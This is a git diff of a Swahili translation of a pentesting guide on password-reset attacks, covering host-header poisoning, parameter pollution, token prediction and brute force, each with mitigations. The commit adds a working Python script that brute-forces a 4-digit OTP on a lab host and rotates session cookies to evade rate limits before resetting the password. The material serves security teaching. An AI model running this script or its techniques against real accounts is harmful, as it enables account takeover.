Translated ['src/pentesting-web/reset-password.md'] to sw

This commit is contained in:
Translator 2025-04-13 14:42:51 +00:00
parent bda534587b
commit 2f944563f6

View File

@ -17,9 +17,9 @@
- Washambuliaji wanaweza kubadilisha header ya Host wakati wa maombi ya kurekebisha nenosiri ili kuelekeza kiungo cha kurekebisha kwenye tovuti mbaya.
- **Impact**: Inasababisha uwezekano wa kuchukua akaunti kwa kuvuja token za kurekebisha kwa washambuliaji.
- **Mitigation Steps**:
- Thibitisha header ya Host dhidi ya orodha ya domain zilizoruhusiwa.
- Thibitisha header ya Host dhidi ya orodha ya domain zinazoruhusiwa.
- Tumia mbinu salama, za upande wa seva ili kuunda URLs kamili.
- **Patch**: Tumia `$_SERVER['SERVER_NAME']` kuunda URLs za kurekebisha nenosiri badala ya `$_SERVER['HTTP_HOST']`.
- **Patch**: Tumia `$_SERVER['SERVER_NAME']` kujenga URLs za kurekebisha nenosiri badala ya `$_SERVER['HTTP_HOST']`.
- **References**:
- [Acunetix Article on Password Reset Poisoning](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
@ -70,9 +70,9 @@ POST /resetPassword
{"email":["victim@mail.tld","atracker@mail.tld"]}
```
- **Hatua za Kupunguza**:
- Pitia na kuthibitisha ipasavyo vigezo vya barua pepe upande wa seva.
- Tumia taarifa zilizopangwa au maswali yenye vigezo ili kuzuia mashambulizi ya kuingiza.
- **Marejeleo**:
- Pitia na kuthibitisha vigezo vya barua pepe upande wa seva.
- Tumia taarifa zilizopangwa au maswali yaliyopangwa ili kuzuia mashambulizi ya kuingiza.
- **Marejeo**:
- [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
- [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
- [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872)
@ -86,14 +86,14 @@ POST /api/changepass
("form": {"email":"victim@email.tld","password":"12345678"})
```
- **Hatua za Kupunguza**:
- Hakikisha uthibitisho mkali wa vigezo na ukaguzi wa uthibitisho.
- Tekeleza ufuatiliaji na uandishi wa habari thabiti ili kugundua na kujibu shughuli za kushuku.
- Hakikisha uthibitisho wa vigezo na ukaguzi wa uthibitisho ni mkali.
- Tekeleza ufuatiliaji na uandishi wa habari wenye nguvu ili kugundua na kujibu shughuli za kushuku.
- **Marejeo**:
- [Uchukue Akaunti Kamili kupitia Ubadilishaji wa Vigezo vya API](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
## **Hakuna Kizuizi cha Kiwango: Barua Pepe ya Kumbukumbu**
- Ukosefu wa kizuizi cha kiwango kwenye maombi ya kurekebisha nenosiri kunaweza kusababisha barua pepe ya kumbukumbu, ikimzidisha mtumiaji barua pepe za kurekebisha.
- Ukosefu wa kizuizi cha kiwango kwenye maombi ya kurekebisha nenosiri kunaweza kusababisha barua pepe nyingi, kumshughulisha mtumiaji na barua pepe za kurekebisha.
- **Hatua za Kupunguza**:
- Tekeleza kizuizi cha kiwango kulingana na anwani ya IP au akaunti ya mtumiaji.
- Tumia changamoto za CAPTCHA kuzuia matumizi ya kiotomatiki.
@ -110,43 +110,43 @@ POST /api/changepass
- Kulingana na Tarehe ya Kuzaliwa
- Kulingana na Cryptography
- **Hatua za Kupunguza**:
- Tumia mbinu thabiti za kijasusi kwa uzalishaji wa token.
- Hakikisha kutokuwa na utabiri na urefu wa kutosha kuzuia utabiri.
- **Zana**: Tumia Burp Sequencer kuchambua kutokuwa na utabiri kwa token.
- Tumia njia za nguvu, za kisasa za uzalishaji wa token.
- Hakikisha kuna kutokuwa na mpangilio wa kutosha na urefu ili kuzuia kutabirika.
- **Zana**: Tumia Burp Sequencer kuchambua kutokuwa na mpangilio kwa token.
## **UUID Inayoweza Kukisiwa**
- Ikiwa UUIDs (toleo la 1) zinaweza kukisiwa au kutabiriwa, washambuliaji wanaweza kujaribu nguvu ili kuzalisha token za kurekebisha halali. Angalia:
- Ikiwa UUIDs (toleo 1) zinaweza kukisiwa au kutabirika, washambuliaji wanaweza kujaribu nguvu ili kuzalisha token za kurekebisha halali. Angalia:
{{#ref}}
uuid-insecurities.md
{{#endref}}
- **Hatua za Kupunguza**:
- Tumia toleo la GUID 4 kwa kutokuwa na utabiri au tekeleza hatua za ziada za usalama kwa matoleo mengine.
- Tumia toleo la GUID 4 kwa kutokuwa na mpangilio au tekeleza hatua za ziada za usalama kwa toleo zingine.
- **Zana**: Tumia [guidtool](https://github.com/intruder-io/guidtool) kwa uchambuzi na uzalishaji wa GUIDs.
## **Manipulering ya Jibu: Badilisha Jibu Mbaya na Jibu Nzuri**
## **Manipulering ya Majibu: Badilisha Jibu Mbaya na Jibu Nzuri**
- Kubadilisha majibu ya HTTP ili kupita ujumbe wa makosa au vizuizi.
- **Hatua za Kupunguza**:
- Tekeleza ukaguzi wa upande wa seva ili kuhakikisha uadilifu wa jibu.
- Tekeleza ukaguzi wa upande wa seva ili kuhakikisha uaminifu wa majibu.
- Tumia njia salama za mawasiliano kama HTTPS kuzuia mashambulizi ya mtu katikati.
- **Marejeo**:
- [Kosa Muhimu katika Tukio la Bug Bounty la Moja kwa Moja](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
## **Kutumia Token Iliyokwisha**
## **Kutumia Token Iliyokwisha Muda**
- Kuangalia ikiwa token zilizokwisha zinaweza bado kutumika kwa ajili ya kurekebisha nenosiri.
- Kuangalia ikiwa token zilizokwisha muda zinaweza bado kutumika kwa ajili ya kurekebisha nenosiri.
- **Hatua za Kupunguza**:
- Tekeleza sera kali za kuisha kwa token na kuthibitisha kuisha kwa token upande wa seva.
- Tekeleza sera kali za kumalizika kwa token na kuthibitisha kumalizika kwa token upande wa seva.
## **Token ya Kurekebisha Nenosiri kwa Njia ya Nguvu**
## **Jaribio la Nenosiri la Kurekebisha Token**
- Kujaribu kujaribu nguvu token ya kurekebisha kwa kutumia zana kama Burpsuite na IP-Rotator ili kupita vizuizi vya kiwango kulingana na IP.
- Kujaribu kujaribu nguvu token ya kurekebisha kwa kutumia zana kama Burpsuite na IP-Rotator ili kupita vizuizi vya kiwango vya IP.
- **Hatua za Kupunguza**:
- Tekeleza kizuizi thabiti cha kiwango na mifumo ya kufunga akaunti.
- Fuata shughuli za kushuku zinazoweza kuashiria mashambulizi ya nguvu.
- Tekeleza kizuizi cha kiwango chenye nguvu na mifumo ya kufunga akaunti.
- Fuata shughuli za kushuku zinazoweza kuashiria mashambulizi ya kujaribu nguvu.
## **Jaribu Kutumia Token Yako**
@ -154,17 +154,81 @@ uuid-insecurities.md
- **Hatua za Kupunguza**:
- Hakikisha kwamba token zimefungwa kwa kikao cha mtumiaji au sifa nyingine maalum za mtumiaji.
## **Kuondolewa kwa Kikao katika Kutoka/Kurekebisha Nenosiri**
## **Ubatilishaji wa Kikao katika Kutoka/Kurekebisha Nenosiri**
- Hakikisha kwamba vikao vinatolewa wakati mtumiaji anapotoka au kurekebisha nenosiri lake.
- Hakikisha kwamba vikao vinabatilishwa wakati mtumiaji anapotoka au kurekebisha nenosiri yao.
- **Hatua za Kupunguza**:
- Tekeleza usimamizi mzuri wa kikao, kuhakikisha kwamba vikao vyote vinatolewa wakati wa kutoka au kurekebisha nenosiri.
- Tekeleza usimamizi mzuri wa kikao, kuhakikisha kwamba vikao vyote vinabatilishwa wakati wa kutoka au kurekebisha nenosiri.
## **Kuondolewa kwa Kikao katika Kutoka/Kurekebisha Nenosiri**
## **Ubatilishaji wa Kikao katika Kutoka/Kurekebisha Nenosiri**
- Token za kurekebisha zinapaswa kuwa na muda wa kuisha baada ya hapo zinakuwa batili.
- Token za kurekebisha zinapaswa kuwa na muda wa kumalizika baada ya hapo zinakuwa zisizo halali.
- **Hatua za Kupunguza**:
- Weka muda wa kuisha unaofaa kwa token za kurekebisha na utekekeleze kwa ukali upande wa seva.
- Weka muda wa kumalizika unaofaa kwa token za kurekebisha na utekekeleze kwa ukali upande wa seva.
## **Kizuizi cha kiwango cha OTP kwa kubadilisha kikao chako**
- Ikiwa tovuti inatumia kikao cha mtumiaji kufuatilia majaribio mabaya ya OTP na OTP ilikuwa dhaifu ( <= 4 digits) basi tunaweza kwa ufanisi kujaribu nguvu OTP.
- **kuvamia**:
- omba tu token mpya ya kikao baada ya kuzuia na seva.
- **Mfano** wa msimbo unaovamia kosa hili kwa kukisia kwa bahati nasibu OTP (unapobadilisha kikao, OTP itabadilika pia, na hivyo hatutakuwa na uwezo wa kujaribu nguvu kwa mpangilio!):
``` python
# Uhamasishaji wa uthibitisho kwa kurekebisha nenosiri
# na coderMohammed
import requests
import random
from time import sleep
headers = {
"User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1",
"Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea"
}
url = "http://10.10.12.231:1337/reset_password.php"
logout = "http://10.10.12.231:1337/logout.php"
root = "http://10.10.12.231:1337/"
parms = dict()
ter = 0
phpsessid = ""
print("[+] Kuanzisha shambulio!")
sleep(3)
print("[+] Hii inaweza kuchukua takriban dakika 5 kumaliza!")
try:
while True:
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # nambari ya bahati nasibu kutoka 0 - 9999 na 4 d
parms["s"] = 164 # si muhimu inathiri tu mbele
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)
if ter == 8: # fuata idadi ya majaribio
out = requests.get(logout,headers=headers) # kukutoa
mainp = requests.get(root) # inapata phpssid nyingine (token)
cookies = out.cookies # toa sessionid
phpsessid = cookies.get('PHPSESSID')
headers["cookies"]=f"PHPSESSID={phpsessid}" #sasisha vichwa na kikao kipya
reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # inatuma barua pepe kubadilisha nenosiri kwa
ter = 0 # rejesha ter ili tupate kikao kipya baada ya majaribio 8
else:
ter += 1
if(len(res.text) == 2292): # hii ni urefu wa ukurasa unapopata nambari ya urejelezi kwa usahihi (imepata kwa majaribio)
print(len(res.text)) # kwa habari ya debug
print(phpsessid)
reset_data = { # hapa tutabadilisha nenosiri kuwa kitu kipya
"new_password": "D37djkamd!",
"confirm_password": "D37djkamd!"
}
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)
print("[+] Nenosiri limebadilishwa kuwa:D37djkamd!")
break
except Exception as e:
print("[+] Shambulio limekoma")
```
## Marejeo